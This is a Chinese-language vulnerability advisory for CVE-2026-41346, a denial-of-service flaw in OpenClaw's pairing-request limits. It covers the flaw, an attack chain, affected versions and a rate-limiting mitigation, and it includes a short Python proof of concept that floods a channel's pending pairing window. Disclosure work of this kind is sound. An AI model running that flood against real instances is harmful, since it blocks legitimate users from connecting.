IPBUF安全漏洞报告
English
CVE-2026-41346 CVSS 5.3 中危

CVE-2026-41346 OpenClaw拒绝服务漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41346
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

拒绝服务DoS资源耗尽OpenClaw逻辑漏洞CVE-2026-41346

漏洞概述

OpenClaw在2026.2.26至2026.3.31之前的版本中存在严重的逻辑缺陷。系统在处理待处理的配对请求时,错误地将配对请求上限限制在通道文件级别而非账户级别。这允许远程攻击者利用其他账户提交大量配对请求,从而耗尽共享的待处理窗口资源。这种攻击会导致未受影响的目标账户无法建立新的配对连接,最终引发拒绝服务,严重影响系统可用性。

技术细节

该漏洞的核心在于OpenClaw对配对请求的配额管理机制存在设计缺陷。在受影响版本中,系统对“待处理配对请求”的数量限制是基于全局共享的通道文件(channel file)实施的,而不是基于独立的用户账户。这意味着所有账户在同一通道下的请求是共享同一个计数器的。攻击者无需认证目标账户,只需创建或控制攻击者账户,向目标通道文件持续发送配对请求。由于系统未能区分请求来源的账户归属,攻击者可以快速填满共享的待处理窗口。一旦达到上限,系统将拒绝该通道下所有账户(包括受害者)的新配对挑战,从而导致服务中断。这种利用方式利用了资源竞争的漏洞,且攻击成本低廉,无需复杂交互即可实施。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标OpenClaw实例使用的通道文件ID(channel file ID),确定其使用的是受影响版本且未实施额外的账户级限流。
STEP 2
步骤2:资源耗尽
攻击者利用自己的账户或控制多个傀儡账户,向目标通道文件发送大量恶意的配对请求。
STEP 3
步骤3:拒绝服务
由于配对上限是针对通道文件全局共享的,攻击者的请求填满了待处理窗口,导致合法用户的新配对挑战被系统拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-41346 # This script demonstrates exhausting the pending pairing request window. import requests import time def trigger_dos(target_url, channel_id): headers = {'Content-Type': 'application/json'} # Attacker uses their own account to flood the shared channel payload = { 'channel_file': channel_id, 'action': 'request_pairing' } print(f"[+] Starting DoS attack on channel: {channel_id}") try: while True: response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent. Pending window filling up...") elif response.status_code == 429 or "limit" in response.text.lower(): print("[!] Pending window exhausted. Legitimate users blocked.") break else: print(f"[-] Unexpected status code: {response.status_code}") break time.sleep(0.1) # Adjust rate as needed except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance:8080/api/v1/pair" target_channel = "global_channel_01" trigger_dos(target, target_channel)

影响范围

OpenClaw >= 2026.2.26, < 2026.3.31

防御指南

临时缓解措施
如果无法立即升级,建议在系统前端部署WAF或反向代理,针对/api/pair等接口配置严格的频次限制策略,区分不同来源账户的请求计数,防止单一来源耗尽全局共享资源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表